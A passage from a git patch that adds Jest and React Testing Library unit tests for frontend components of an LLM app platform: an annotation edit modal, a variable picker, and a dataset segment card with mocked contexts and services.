user.click(screen.getByText('common.operation.cancel')) + await user.click(screen.getByText('common.operation.edit')) + await user.click(screen.getByText('common.operation.cancel')) + + // Assert + expect(screen.queryByRole('textbox')).not.toBeInTheDocument() + expect(screen.getByText('Test content')).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx new file mode 100644 index 0000000000..a2e2527605 --- /dev/null +++ b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx @@ -0,0 +1,408 @@ +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import Toast, { type IToastProps, type ToastHandle } from '@/app/components/base/toast' +import EditAnnotationModal from './index' + +// Mock only external dependencies +jest.mock('@/service/annotation', () => ({ + addAnnotation: jest.fn(), + editAnnotation: jest.fn(), +})) + +jest.mock('@/context/provider-context', () => ({ + useProviderContext: () => ({ + plan: { + usage: { annotatedResponse: 5 }, + total: { annotatedResponse: 10 }, + }, + enableBilling: true, + }), +})) + +jest.mock('@/hooks/use-timestamp', () => ({ + __esModule: true, + default: () => ({ + formatTime: () => '2023-12-01 10:30:00', + }), +})) + +// Note: i18n is automatically mocked by Jest via __mocks__/react-i18next.ts + +jest.mock('@/app/components/billing/annotation-full', () => ({ + __esModule: true, + default: () =>
, +})) + +type ToastNotifyProps = Pick +type ToastWithNotify = typeof Toast & { notify: (props: ToastNotifyProps) => ToastHandle } +const toastWithNotify = Toast as unknown as ToastWithNotify +const toastNotifySpy = jest.spyOn(toastWithNotify, 'notify').mockReturnValue({ clear: jest.fn() }) + +const { addAnnotation: mockAddAnnotation, editAnnotation: mockEditAnnotation } = jest.requireMock('@/service/annotation') as { + addAnnotation: jest.Mock + editAnnotation: jest.Mock +} + +describe('EditAnnotationModal', () => { + const defaultProps = { + isShow: true, + onHide: jest.fn(), + appId: 'test-app-id', + query: 'Test query', + answer: 'Test answer', + onEdited: jest.fn(), + onAdded: jest.fn(), + onRemove: jest.fn(), + } + + afterAll(() => { + toastNotifySpy.mockRestore() + }) + + beforeEach(() => { + jest.clearAllMocks() + mockAddAnnotation.mockResolvedValue({ + id: 'test-id', + account: { name: 'Test User' }, + }) + mockEditAnnotation.mockResolvedValue({}) + }) + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render modal when isShow is true', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Check for modal title as it appears in the mock + expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument() + }) + + it('should not render modal when isShow is false', () => { + // Arrange + const props = { ...defaultProps, isShow: false } + + // Act + render() + + // Assert + expect(screen.queryByText('appAnnotation.editModal.title')).not.toBeInTheDocument() + }) + + it('should display query and answer sections', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Look for query and answer content + expect(screen.getByText('Test query')).toBeInTheDocument() + expect(screen.getByText('Test answer')).toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should handle different query and answer content', () => { + // Arrange + const props = { + ...defaultProps, + query: 'Custom query content', + answer: 'Custom answer content', + } + + // Act + render() + + // Assert - Check content is displayed + expect(screen.getByText('Custom query content')).toBeInTheDocument() + expect(screen.getByText('Custom answer content')).toBeInTheDocument() + }) + + it('should show remove option when annotationId is provided', () => { + // Arrange + const props = { + ...defaultProps, + annotationId: 'test-annotation-id', + } + + // Act + render() + + // Assert - Remove option should be present (using pattern) + expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument() + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should enable editing for query and answer sections', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Edit links should be visible (using text content) + const editLinks = screen.getAllByText(/common\.operation\.edit/i) + expect(editLinks).toHaveLength(2) + }) + + it('should show remove option when annotationId is provided', () => { + // Arrange + const props = { + ...defaultProps, + annotationId: 'test-annotation-id', + } + + // Act + render() + + // Assert + expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument() + }) + + it('should save content when edited', async () => { + // Arrange + const mockOnAdded = jest.fn() + const props = { + ...defaultProps, + onAdded: mockOnAdded, + } + const user = userEvent.setup() + + // Mock API response + mockAddAnnotation.mockResolvedValueOnce({ + id: 'test-annotation-id', + account: { name: 'Test User' }, + }) + + // Act + render() + + // Find and click edit link for query + const editLinks = screen.getAllByText(/common\.operation\.edit/i) + await user.click(editLinks[0]) + + // Find textarea and enter new content + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'New query content') + + // Click save button + const saveButton = screen.getByRole('button', { name: 'common.operation.save' }) + await user.click(saveButton) + + // Assert + expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', { + question: 'New query content', + answer: 'Test answer', + message_id: undefined, + }) + }) + }) + + // API Calls + describe('API Calls', () => { + it('should call addAnnotation when saving new annotation', async () => { + // Arrange + const mockOnAdded = jest.fn() + const props = { + ...defaultProps, + onAdded: mockOnAdded, + } + const user = userEvent.setup() + + // Mock the API response + mockAddAnnotation.mockResolvedValueOnce({ + id: 'test-annotation-id', + account: { name: 'Test User' }, + }) + + // Act + render() + + // Edit query content + const editLinks = screen.getAllByText(/common\.operation\.edit/i) + await user.click(editLinks[0]) + + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'Updated query') + + const saveButton = screen.getByRole('button', { name: 'common.operation.save' }) + await user.click(saveButton) + + // Assert + expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', { + question: 'Updated query', + answer: 'Test answer', + message_id: undefined, + }) + }) + + it('should call editAnnotation when updating existing annotation', async () => { + // Arrange + const mockOnEdited = jest.fn() + const props = { + ...defaultProps, + annotationId: 'test-annotation-id', + messageId: 'test-message-id', + onEdited: mockOnEdited, + } + const user = userEvent.setup() + + // Act + render() + + // Edit query content + const editLinks = screen.getAllByText(/common\.operation\.edit/i) + await user.click(editLinks[0]) + + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'Modified query') + + const saveButton = screen.getByRole('button', { name: 'common.operation.save' }) + await user.click(saveButton) + + // Assert + expect(mockEditAnnotation).toHaveBeenCalledWith( + 'test-app-id', + 'test-annotation-id', + { + message_id: 'test-message-id', + question: 'Modified query', + answer: 'Test answer', + }, + ) + }) + }) + + // State Management + describe('State Management', () => { + it('should initialize with closed confirm modal', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Confirm dialog should not be visible initially + expect(screen.queryByText('appDebug.feature.annotation.removeConfirm')).not.toBeInTheDocument() + }) + + it('should show confirm modal when remove is clicked', async () => { + // Arrange + const props = { + ...defaultProps, + annotationId: 'test-annotation-id', + } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('appAnnotation.editModal.removeThisCache')) + + // Assert - Confirmation dialog should appear + expect(screen.getByText('appDebug.feature.annotation.removeConfirm')).toBeInTheDocument() + }) + + it('should call onRemove when removal is confirmed', async () => { + // Arrange + const mockOnRemove = jest.fn() + const props = { + ...defaultProps, + annotationId: 'test-annotation-id', + onRemove: mockOnRemove, + } + const user = userEvent.setup() + + // Act + render() + + // Click remove + await user.click(screen.getByText('appAnnotation.editModal.removeThisCache')) + + // Click confirm + const confirmButton = screen.getByRole('button', { name: 'common.operation.confirm' }) + await user.click(confirmButton) + + // Assert + expect(mockOnRemove).toHaveBeenCalled() + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle empty query and answer', () => { + // Arrange + const props = { + ...defaultProps, + query: '', + answer: '', + } + + // Act + render() + + // Assert + expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument() + }) + + it('should handle very long content', () => { + // Arrange + const longQuery = 'Q'.repeat(1000) + const longAnswer = 'A'.repeat(1000) + const props = { + ...defaultProps, + query: longQuery, + answer: longAnswer, + } + + // Act + render() + + // Assert + expect(screen.getByText(longQuery)).toBeInTheDocument() + expect(screen.getByText(longAnswer)).toBeInTheDocument() + }) + + it('should handle special characters in content', () => { + // Arrange + const specialQuery = 'Query with & < > " \' characters' + const specialAnswer = 'Answer with & < > " \' characters' + const props = { + ...defaultProps, + query: specialQuery, + answer: specialAnswer, + } + + // Act + render() + + // Assert + expect(screen.getByText(specialQuery)).toBeInTheDocument() + expect(screen.getByText(specialAnswer)).toBeInTheDocument() + }) + + it('should handle onlyEditResponse prop', () => { + // Arrange + const props = { + ...defaultProps, + onlyEditResponse: true, + } + + // Act + render() + + // Assert - Query should be readonly, answer should be editable + const editLinks = screen.queryAllByText(/common\.operation\.edit/i) + expect(editLinks).toHaveLength(1) // Only answer should have edit button + }) + }) +}) diff --git a/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx new file mode 100644 index 0000000000..69378fbb32 --- /dev/null +++ b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx @@ -0,0 +1,299 @@ +import * as React from 'react' +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import ContextVar from './index' +import type { Props } from './var-picker' + +// Mock external dependencies only +jest.mock('next/navigation', () => ({ + useRouter: () => ({ push: jest.fn() }), + usePathname: () => '/test', +})) + +type PortalToFollowElemProps = { + children: React.ReactNode + open?: boolean + onOpenChange?: (open: boolean) => void +} +type PortalToFollowElemTriggerProps = React.HTMLAttributes & { children?: React.ReactNode; asChild?: boolean } +type PortalToFollowElemContentProps = React.HTMLAttributes & { children?: React.ReactNode } + +jest.mock('@/app/components/base/portal-to-follow-elem', () => { + const PortalContext = React.createContext({ open: false }) + + const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => { + return ( + +
{children}
+
+ ) + } + + const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => { + const { open } = React.useContext(PortalContext) + if (!open) return null + return ( +
+ {children} +
+ ) + } + + const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => { + if (asChild && React.isValidElement(children)) { + return React.cloneElement(children, { + ...props, + 'data-testid': 'portal-trigger', + } as React.HTMLAttributes) + } + return ( +
+ {children} +
+ ) + } + + return { + PortalToFollowElem, + PortalToFollowElemContent, + PortalToFollowElemTrigger, + } +}) + +describe('ContextVar', () => { + const mockOptions: Props['options'] = [ + { name: 'Variable 1', value: 'var1', type: 'string' }, + { name: 'Variable 2', value: 'var2', type: 'number' }, + ] + + const defaultProps: Props = { + value: 'var1', + options: mockOptions, + onChange: jest.fn(), + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should display query variable selector when options are provided', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument() + }) + + it('should show selected variable with proper formatting when value is provided', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByText('var1')).toBeInTheDocument() + expect(screen.getByText('{{')).toBeInTheDocument() + expect(screen.getByText('}}')).toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should display selected variable when value prop is provided', () => { + // Arrange + const props = { ...defaultProps, value: 'var2' } + + // Act + render() + + // Assert - Should display the selected value + expect(screen.getByText('var2')).toBeInTheDocument() + }) + + it('should show placeholder text when no value is selected', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert - Should show placeholder instead of variable + expect(screen.queryByText('var1')).not.toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should display custom tip message when notSelectedVarTip is provided', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + notSelectedVarTip: 'Select a variable', + } + + // Act + render() + + // Assert + expect(screen.getByText('Select a variable')).toBeInTheDocument() + }) + + it('should apply custom className to VarPicker when provided', () => { + // Arrange + const props = { + ...defaultProps, + className: 'custom-class', + } + + // Act + const { container } = render() + + // Assert + expect(container.querySelector('.custom-class')).toBeInTheDocument() + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should call onChange when user selects a different variable', async () => { + // Arrange + const onChange = jest.fn() + const props = { ...defaultProps, onChange } + const user = userEvent.setup() + + // Act + render() + + const triggers = screen.getAllByTestId('portal-trigger') + const varPickerTrigger = triggers[triggers.length - 1] + + await user.click(varPickerTrigger) + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + + // Select a different option + const options = screen.getAllByText('var2') + expect(options.length).toBeGreaterThan(0) + await user.click(options[0]) + + // Assert + expect(onChange).toHaveBeenCalledWith('var2') + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + + it('should toggle dropdown when clicking the trigger button', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + + const triggers = screen.getAllByTestId('portal-trigger') + const varPickerTrigger = triggers[triggers.length - 1] + + // Open dropdown + await user.click(varPickerTrigger) + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + + // Close dropdown + await user.click(varPickerTrigger) + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle undefined value gracefully', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + expect(screen.queryByText('var1')).not.toBeInTheDocument() + }) + + it('should handle empty options array', () => { + // Arrange + const props = { + ...defaultProps, + options: [], + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should handle null value without crashing', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should handle options with different data types', () => { + // Arrange + const props = { + ...defaultProps, + options: [ + { name: 'String Var', value: 'strVar', type: 'string' }, + { name: 'Number Var', value: '42', type: 'number' }, + { name: 'Boolean Var', value: 'true', type: 'boolean' }, + ], + value: 'strVar', + } + + // Act + render() + + // Assert + expect(screen.getByText('strVar')).toBeInTheDocument() + expect(screen.getByText('{{')).toBeInTheDocument() + expect(screen.getByText('}}')).toBeInTheDocument() + }) + + it('should render variable names with special characters safely', () => { + // Arrange + const props = { + ...defaultProps, + options: [ + { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' }, + ], + value: 'specialVar', + } + + // Act + render() + + // Assert + expect(screen.getByText('specialVar')).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx new file mode 100644 index 0000000000..cb46ce9788 --- /dev/null +++ b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx @@ -0,0 +1,392 @@ +import * as React from 'react' +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import VarPicker, { type Props } from './var-picker' + +// Mock external dependencies only +jest.mock('next/navigation', () => ({ + useRouter: () => ({ push: jest.fn() }), + usePathname: () => '/test', +})) + +type PortalToFollowElemProps = { + children: React.ReactNode + open?: boolean + onOpenChange?: (open: boolean) => void +} +type PortalToFollowElemTriggerProps = React.HTMLAttributes & { children?: React.ReactNode; asChild?: boolean } +type PortalToFollowElemContentProps = React.HTMLAttributes & { children?: React.ReactNode } + +jest.mock('@/app/components/base/portal-to-follow-elem', () => { + const PortalContext = React.createContext({ open: false }) + + const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => { + return ( + +
{children}
+
+ ) + } + + const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => { + const { open } = React.useContext(PortalContext) + if (!open) return null + return ( +
+ {children} +
+ ) + } + + const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => { + if (asChild && React.isValidElement(children)) { + return React.cloneElement(children, { + ...props, + 'data-testid': 'portal-trigger', + } as React.HTMLAttributes) + } + return ( +
+ {children} +
+ ) + } + + return { + PortalToFollowElem, + PortalToFollowElemContent, + PortalToFollowElemTrigger, + } +}) + +describe('VarPicker', () => { + const mockOptions: Props['options'] = [ + { name: 'Variable 1', value: 'var1', type: 'string' }, + { name: 'Variable 2', value: 'var2', type: 'number' }, + { name: 'Variable 3', value: 'var3', type: 'boolean' }, + ] + + const defaultProps: Props = { + value: 'var1', + options: mockOptions, + onChange: jest.fn(), + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render variable picker with dropdown trigger', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + expect(screen.getByText('var1')).toBeInTheDocument() + }) + + it('should display selected variable with type icon when value is provided', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByText('var1')).toBeInTheDocument() + expect(screen.getByText('{{')).toBeInTheDocument() + expect(screen.getByText('}}')).toBeInTheDocument() + // IconTypeIcon should be rendered (check for svg icon) + expect(document.querySelector('svg')).toBeInTheDocument() + }) + + it('should show placeholder text when no value is selected', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.queryByText('var1')).not.toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should display custom tip message when notSelectedVarTip is provided', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + notSelectedVarTip: 'Select a variable', + } + + // Act + render() + + // Assert + expect(screen.getByText('Select a variable')).toBeInTheDocument() + }) + + it('should render dropdown indicator icon', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert - Trigger should be present + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should apply custom className to wrapper', () => { + // Arrange + const props = { + ...defaultProps, + className: 'custom-class', + } + + // Act + const { container } = render() + + // Assert + expect(container.querySelector('.custom-class')).toBeInTheDocument() + }) + + it('should apply custom triggerClassName to trigger button', () => { + // Arrange + const props = { + ...defaultProps, + triggerClassName: 'custom-trigger-class', + } + + // Act + render() + + // Assert + expect(screen.getByTestId('portal-trigger')).toHaveClass('custom-trigger-class') + }) + + it('should display selected value with proper formatting', () => { + // Arrange + const props = { + ...defaultProps, + value: 'customVar', + options: [ + { name: 'Custom Variable', value: 'customVar', type: 'string' }, + ], + } + + // Act + render() + + // Assert + expect(screen.getByText('customVar')).toBeInTheDocument() + expect(screen.getByText('{{')).toBeInTheDocument() + expect(screen.getByText('}}')).toBeInTheDocument() + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should open dropdown when clicking the trigger button', async () => { + // Arrange + const onChange = jest.fn() + const props = { ...defaultProps, onChange } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByTestId('portal-trigger')) + + // Assert + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + }) + + it('should call onChange and close dropdown when selecting an option', async () => { + // Arrange + const onChange = jest.fn() + const props = { ...defaultProps, onChange } + const user = userEvent.setup() + + // Act + render() + + // Open dropdown + await user.click(screen.getByTestId('portal-trigger')) + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + + // Select a different option + const options = screen.getAllByText('var2') + expect(options.length).toBeGreaterThan(0) + await user.click(options[0]) + + // Assert + expect(onChange).toHaveBeenCalledWith('var2') + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + + it('should toggle dropdown when clicking trigger button multiple times', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + + const trigger = screen.getByTestId('portal-trigger') + + // Open dropdown + await user.click(trigger) + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + + // Close dropdown + await user.click(trigger) + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + }) + + // State Management + describe('State Management', () => { + it('should initialize with closed dropdown', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + + it('should toggle dropdown state on trigger click', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + + const trigger = screen.getByTestId('portal-trigger') + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + + // Open dropdown + await user.click(trigger) + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + + // Close dropdown + await user.click(trigger) + expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument() + }) + + it('should preserve selected value when dropdown is closed without selection', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + + // Open and close dropdown without selecting anything + const trigger = screen.getByTestId('portal-trigger') + await user.click(trigger) + await user.click(trigger) + + // Assert + expect(screen.getByText('var1')).toBeInTheDocument() // Original value still displayed + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle undefined value gracefully', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + }) + + it('should handle empty options array', () => { + // Arrange + const props = { + ...defaultProps, + options: [], + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should handle null value without crashing', () => { + // Arrange + const props = { + ...defaultProps, + value: undefined, + } + + // Act + render() + + // Assert + expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument() + }) + + it('should handle variable names with special characters safely', () => { + // Arrange + const props = { + ...defaultProps, + options: [ + { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' }, + ], + value: 'specialVar', + } + + // Act + render() + + // Assert + expect(screen.getByText('specialVar')).toBeInTheDocument() + }) + + it('should handle long variable names', () => { + // Arrange + const props = { + ...defaultProps, + options: [ + { name: 'A very long variable name that should be truncated', value: 'longVar', type: 'string' }, + ], + value: 'longVar', + } + + // Act + render() + + // Assert + expect(screen.getByText('longVar')).toBeInTheDocument() + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + }) + }) +}) From 581b62cf01ae98dab37439a50b1c84234dd665db Mon Sep 17 00:00:00 2001 From: Coding On Star <447357187@qq.com> Date: Wed, 17 Dec 2025 10:26:58 +0800 Subject: [PATCH 38/38] feat: add automated tests for pipeline setting (#29478) Co-authored-by: CodingOnStar --- .../documents/detail/completed/index.tsx | 2 +- .../completed/segment-card/index.spec.tsx | 1204 +++++++++++++++++ .../detail/completed/segment-card/index.tsx | 6 +- .../skeleton/parent-chunk-card-skeleton.tsx | 2 +- .../datasets/documents/detail/context.ts | 2 +- .../settings/pipeline-settings/index.spec.tsx | 786 +++++++++++ .../pipeline-settings/left-header.tsx | 1 + .../process-documents/index.spec.tsx | 573 ++++++++ .../documents/status-item/index.spec.tsx | 968 +++++++++++++ .../datasets/documents/status-item/index.tsx | 1 + web/app/components/header/indicator/index.tsx | 1 + 11 files changed, 3542 insertions(+), 4 deletions(-) create mode 100644 web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx create mode 100644 web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx create mode 100644 web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx create mode 100644 web/app/components/datasets/documents/status-item/index.spec.tsx diff --git a/web/app/components/datasets/documents/detail/completed/index.tsx b/web/app/components/datasets/documents/detail/completed/index.tsx index a3f76d9481..ad405f6b15 100644 --- a/web/app/components/datasets/documents/detail/completed/index.tsx +++ b/web/app/components/datasets/documents/detail/completed/index.tsx @@ -62,7 +62,7 @@ type CurrChildChunkType = { showModal: boolean } -type SegmentListContextValue = { +export type SegmentListContextValue = { isCollapsed: boolean fullScreen: boolean toggleFullScreen: (fullscreen?: boolean) => void diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx new file mode 100644 index 0000000000..ced1bf05a9 --- /dev/null +++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx @@ -0,0 +1,1204 @@ +import React from 'react' +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import SegmentCard from './index' +import { type Attachment, type ChildChunkDetail, ChunkingMode, type ParentMode, type SegmentDetailModel } from '@/models/datasets' +import type { DocumentContextValue } from '@/app/components/datasets/documents/detail/context' +import type { SegmentListContextValue } from '@/app/components/datasets/documents/detail/completed' + +// Mock react-i18next - external dependency +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string, options?: { count?: number }) => { + if (key === 'datasetDocuments.segment.characters') + return options?.count === 1 ? 'character' : 'characters' + if (key === 'datasetDocuments.segment.childChunks') + return options?.count === 1 ? 'child chunk' : 'child chunks' + return key + }, + }), +})) + +// ============================================================================ +// Context Mocks - need to control test scenarios +// ============================================================================ + +const mockDocForm = { current: ChunkingMode.text } +const mockParentMode = { current: 'paragraph' as ParentMode } + +jest.mock('../../context', () => ({ + useDocumentContext: (selector: (value: DocumentContextValue) => unknown) => { + const value: DocumentContextValue = { + datasetId: 'test-dataset-id', + documentId: 'test-document-id', + docForm: mockDocForm.current, + parentMode: mockParentMode.current, + } + return selector(value) + }, +})) + +const mockIsCollapsed = { current: true } +jest.mock('../index', () => ({ + useSegmentListContext: (selector: (value: SegmentListContextValue) => unknown) => { + const value: SegmentListContextValue = { + isCollapsed: mockIsCollapsed.current, + fullScreen: false, + toggleFullScreen: jest.fn(), + currSegment: { showModal: false }, + currChildChunk: { showModal: false }, + } + return selector(value) + }, +})) + +// ============================================================================ +// Component Mocks - components with complex ESM dependencies (ky, react-pdf-highlighter, etc.) +// These are mocked to avoid Jest ESM parsing issues, not because they're external +// ============================================================================ + +// StatusItem has deep dependency: use-document hooks → service/base → ky (ESM) +jest.mock('../../../status-item', () => ({ + __esModule: true, + default: ({ status, reverse, textCls }: { status: string; reverse?: boolean; textCls?: string }) => ( +
+ Status: {status} +
+ ), +})) + +// ImageList has deep dependency: FileThumb → file-uploader → ky, react-pdf-highlighter (ESM) +jest.mock('@/app/components/datasets/common/image-list', () => ({ + __esModule: true, + default: ({ images, size, className }: { images: Array<{ sourceUrl: string; name: string }>; size?: string; className?: string }) => ( +
+ {images.map((img, idx: number) => ( + {img.name} + ))} +
+ ), +})) + +// Markdown uses next/dynamic and react-syntax-highlighter (ESM) +jest.mock('@/app/components/base/markdown', () => ({ + __esModule: true, + Markdown: ({ content, className }: { content: string; className?: string }) => ( +
{content}
+ ), +})) + +// ============================================================================ +// Test Data Factories +// ============================================================================ + +const createMockAttachment = (overrides: Partial = {}): Attachment => ({ + id: 'attachment-1', + name: 'test-image.png', + size: 1024, + extension: 'png', + mime_type: 'image/png', + source_url: 'https://example.com/test-image.png', + ...overrides, +}) + +const createMockChildChunk = (overrides: Partial = {}): ChildChunkDetail => ({ + id: 'child-chunk-1', + position: 1, + segment_id: 'segment-1', + content: 'Child chunk content', + word_count: 100, + created_at: 1700000000, + updated_at: 1700000000, + type: 'automatic', + ...overrides, +}) + +const createMockSegmentDetail = (overrides: Partial = {}): SegmentDetailModel & { document?: { name: string } } => ({ + id: 'segment-1', + position: 1, + document_id: 'doc-1', + content: 'Test segment content', + sign_content: 'Test signed content', + word_count: 100, + tokens: 50, + keywords: ['keyword1', 'keyword2'], + index_node_id: 'index-1', + index_node_hash: 'hash-1', + hit_count: 10, + enabled: true, + disabled_at: 0, + disabled_by: '', + status: 'completed', + created_by: 'user-1', + created_at: 1700000000, + indexing_at: 1700000100, + completed_at: 1700000200, + error: null, + stopped_at: 0, + updated_at: 1700000000, + attachments: [], + child_chunks: [], + document: { name: 'Test Document' }, + ...overrides, +}) + +const defaultFocused = { segmentIndex: false, segmentContent: false } + +// ============================================================================ +// Tests +// ============================================================================ + +describe('SegmentCard', () => { + beforeEach(() => { + jest.clearAllMocks() + mockDocForm.current = ChunkingMode.text + mockParentMode.current = 'paragraph' + mockIsCollapsed.current = true + }) + + // -------------------------------------------------------------------------- + // Rendering Tests + // -------------------------------------------------------------------------- + describe('Rendering', () => { + it('should render loading skeleton when loading is true', () => { + render() + + // ParentChunkCardSkeleton should render + expect(screen.getByTestId('parent-chunk-card-skeleton')).toBeInTheDocument() + }) + + it('should render segment card content when loading is false', () => { + const detail = createMockSegmentDetail() + + render() + + // ChunkContent shows sign_content first, then content + expect(screen.getByText('Test signed content')).toBeInTheDocument() + }) + + it('should render segment index tag with correct position', () => { + const detail = createMockSegmentDetail({ position: 5 }) + + render() + + expect(screen.getByText(/Chunk-05/i)).toBeInTheDocument() + }) + + it('should render word count text', () => { + const detail = createMockSegmentDetail({ word_count: 250 }) + + render() + + expect(screen.getByText('250 characters')).toBeInTheDocument() + }) + + it('should render hit count text', () => { + const detail = createMockSegmentDetail({ hit_count: 42 }) + + render() + + expect(screen.getByText('42 datasetDocuments.segment.hitCount')).toBeInTheDocument() + }) + + it('should apply custom className', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const card = 